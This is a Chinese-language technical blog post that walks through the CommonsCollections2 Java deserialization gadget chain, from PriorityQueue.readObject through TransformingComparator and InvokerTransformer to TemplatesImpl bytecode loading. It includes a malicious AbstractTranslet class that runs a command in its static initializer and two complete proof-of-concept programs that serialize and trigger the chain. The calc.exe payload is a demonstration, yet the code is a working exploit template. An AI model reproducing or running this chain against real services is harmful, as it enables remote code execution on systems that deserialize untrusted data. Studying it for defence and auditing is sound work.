CommonsCollections2分析
CommonsCollection2呼叫流程
整個呼叫鏈詳細版本
ObjectInputStream.readObject() | PriorityQueue.readObject() | PriorityQueue.heapify | PriorityQueue.siftDown | PriorityQueue.siftDownUsingComparator | TransformingComparator.compare() | InvokerTransformer.transform()| TemplatesImpl.getTransletInstance | ->(動態建立的類)cc2.newInstance()->Runtime.exec()
官方呼叫鏈
/* Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() ... TransformingComparator.compare() InvokerTransformer.transform() Method.invoke() Runtime.exec()*/
CommonsCollections2
在JDK1.8 8u71版本以後,對AnnotationInvocationHandler
的readobject
進行了改寫。導致高版本中利用鏈無法使用。
所以cc2版本就沒用使用AnnotationInvocationHandler而時使用了TemplatesImpI
+PriorityQueue
來構造利用鏈的。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
這個內建類, 這個類的騷操作就是,在呼叫他的 newTransformer
或者 getOutputProperties
這就使得如果我們能操作位元組碼, 就能在建立類時執任意 java 程式碼.
第一步通過templatempI載入惡意類
TemplatesImpI類分析
這個類我們用來載入我們的惡意類。
分析getTransletInstance
這裡有兩個判斷條件
如果_name==null 返回null
如果_class==null就呼叫defineTransletClasses()
下來跟進defineTransletClasses()
分析defineTransletClasses()
這裡如果_bytecodes==null
就執行錯誤處理語句塊
看上圖程式碼緊接著進行獲取當前_class的getSuperclass()獲取超類 再進行判斷這個超類是不是包含在ABSTRACT_TRANSLET 如果存在澤執行if裡面的diamagnetic對_transletIndex賦值
這個常量中 可以跟進這個常量看看這個常量中儲存了什麼值
可以看到這裡對AbstractTranslet複製了AbstractTranslet這個類所以我們惡意類要繼承它
注意再獲取超類這裡 這裡我們就需要對_bytecodes中的惡意類進行繼承AbstractTranslet繼承之後才能完成這個條件
構造惡意類
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (Exception e) {} } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }惡意類程式碼
這裡我們可以構造我們初步測試能成功呼叫惡意類的poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javax.xml.transform.TransformerConfigurationException; import java.io.IOException; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.ArrayList; public class test2 { public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException { //例項化TemplatesImpl TemplatesImpl templates=new TemplatesImpl(); //獲取TemplatesImpl的Class Class tc=templates.getClass(); Field nameField=tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates,"aaaa"); Field bytecodesField=tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); //載入惡意類 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); byte[][] codes={code}; bytecodesField.set(templates,codes); Field tfactoryField=tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates,new TransformerFactoryImpl()); //呼叫 templates.newTransformer(); } }載入惡意位元組碼poc
載入惡意位元組碼poc的鏈子
TemplatesImpl#newTransformer() ->TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()-> TransletClassLoader#defineClass()
接下來使用InvokerTransformer
的反射去呼叫newTransformer()
InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator類分析
TransformingComparator
是一個修飾器,和CC1中的ChainedTransformer
類似。
TransformingComparator中的comparator在TransformingComparator的構造方法中,傳入了兩個值transformer和decorated
TransformingComparator呼叫compare方法時,就會呼叫傳入transformer物件的transform方法
具體實現是this.transformer
在傳入ChainedTransformer
後,會呼叫ChainedTransformer#transform
反射鏈
我們在此可以構造 將反射呼叫的newTransformer傳進去
TransformingComparator comparator =new TransformingComparator(invokerTransformer);
這樣如果那塊呼叫了compare()就會呼叫this.invokerTransformer.transformer()
那麼接下來如何呼叫compare()?這就需要PriorityQueue登場了
PriorityQueue類分析
PriorityQueue是一個優先佇列,作用是用來排序,重點在於每次排序都要觸發傳入的比較器comparator的compare()方法 在CC2中,此類用於呼叫PriorityQueue重寫的readObject來作為觸發入口
readObject中呼叫了heapify() 注意這裡需要的for迴圈 這裡長度是2才能滿足條件 所以我們需要在建立好PriorityQueue之後再繼續往裡面add()新增元素
heapify()呼叫了siftdown()
sitdown()
呼叫了siftDownUsingComparator()
在siftDownUsingComparator()
又呼叫了comparator.compare()
呼叫到comparator.compare()方法中
這裡就可以構造
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); //將惡意類新增給PriorityQueue priorityQueue.add(templates); priorityQueue.add(2);
1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 2 import org.apache.commons.collections4.comparators.TransformingComparator; 3 import org.apache.commons.collections4.functors.InvokerTransformer; 4 import java.io.*; 5 import java.lang.reflect.*; 6 import java.nio.file.Files; 7 import java.nio.file.Paths; 8 import java.util.PriorityQueue; 9 10 11 public class CC2test { 12 13 public static void main(String[] args)throws Exception { 14 15 16 TemplatesImpl templates=new TemplatesImpl(); //例項化TemplatesImpl 17 Class tc=templates.getClass(); //獲取templates的Classlass 18 Field nameField=tc.getDeclaredField("_name");//反射獲取templates中的_name 19 nameField.setAccessible(true); //暴力反射 20 nameField.set(templates,"aaaa"); //修改_name的值 21 Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射獲取templates中的_bytecodes 22 bytecodesField.setAccessible(true); //暴力反射 23 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //獲取惡意類 24 byte[][] codes={code}; 25 bytecodesField.set(templates,codes);//修改_bytecodes的值 26 27 //反射呼叫newTransformer() 28 InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); 29 30 TransformingComparator transformingComparator=new TransformingComparator<>(invokerTransformer); 31 32 PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); 33 //將惡意類新增給PriorityQueue 34 priorityQueue.add(templates); 35 priorityQueue.add(2); 36 37 38 serialize(priorityQueue); 39 unserialize("ser.bin"); 40 41 } 42 43 public static void serialize(Object obj) throws Exception{ 44 ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin")); 45 oss.writeObject(obj); 46 } 47 48 public static void unserialize(Object obj) throws Exception{ 49 ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin")); 50 oss.readObject(); 51 } 52 }初步poc
執行的時候報了哥錯誤
這裡要防止它提前執行
將這裡置空 傳一個沒有的東西
TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1));
當完PriorityQueue add()完之後再給它裡面賦值即可
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); //將惡意類新增給PriorityQueue priorityQueue.add(templates); priorityQueue.add(2); //將invokerTransformer給transformingComparator中的transformer Class c=transformingComparator.getClass(); Field transformField=c.getDeclaredField("transformer"); transformField.setAccessible(true); transformField.set(transformingComparator,invokerTransformer);
構建最終poc學習
1 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; 2 import org.apache.commons.collections4.comparators.TransformingComparator; 3 import org.apache.commons.collections4.functors.ConstantTransformer; 4 import org.apache.commons.collections4.functors.InvokerTransformer; 5 import java.io.*; 6 import java.lang.reflect.*; 7 import java.nio.file.Files; 8 import java.nio.file.Paths; 9 import java.util.PriorityQueue; 10 11 12 public class CC2test { 13 14 public static void main(String[] args)throws Exception { 15 16 17 TemplatesImpl templates=new TemplatesImpl(); //例項化TemplatesImpl 18 Class tc=templates.getClass(); //獲取templates的Classlass 19 Field nameField=tc.getDeclaredField("_name");//反射獲取templates中的_name 20 nameField.setAccessible(true); //暴力反射 21 nameField.set(templates,"aaaa"); //修改_name的值 22 Field bytecodesField=tc.getDeclaredField("_bytecodes");//反射獲取templates中的_bytecodes 23 bytecodesField.setAccessible(true); //暴力反射 24 byte[] code = Files.readAllBytes(Paths.get("D://tmp/test.class")); //獲取惡意類 25 byte[][] codes={code}; 26 bytecodesField.set(templates,codes);//修改_bytecodes的值 27 28 //反射呼叫newTransformer() 29 InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{}); 30 31 //將TransformingComparator置空 防止再序列化時觸發惡意類 32 TransformingComparator transformingComparator=new TransformingComparator<>(new ConstantTransformer<>(1)); 33 34 35 PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator); 36 //將惡意類新增給PriorityQueue 37 priorityQueue.add(templates); 38 priorityQueue.add(2); 39 40 //將invokerTransformer給transformingComparator中的transformer 41 Class c=transformingComparator.getClass(); 42 Field transformField=c.getDeclaredField("transformer"); 43 transformField.setAccessible(true); 44 transformField.set(transformingComparator,invokerTransformer); 45 46 serialize(priorityQueue); 47 unserialize("ser.bin"); 48 49 } 50 51 public static void serialize(Object obj) throws Exception{ 52 ObjectOutputStream oss=new ObjectOutputStream(new FileOutputStream("ser.bin")); 53 oss.writeObject(obj); 54 } 55 56 public static void unserialize(Object obj) throws Exception{ 57 ObjectInputStream oss=new ObjectInputStream(new FileInputStream("ser.bin")); 58 oss.readObject(); 59 } 60 }
參考
https://www.cnblogs.com/nice0e3/p/13860621.html#transformingcomparator
《P牛的java程式碼審計》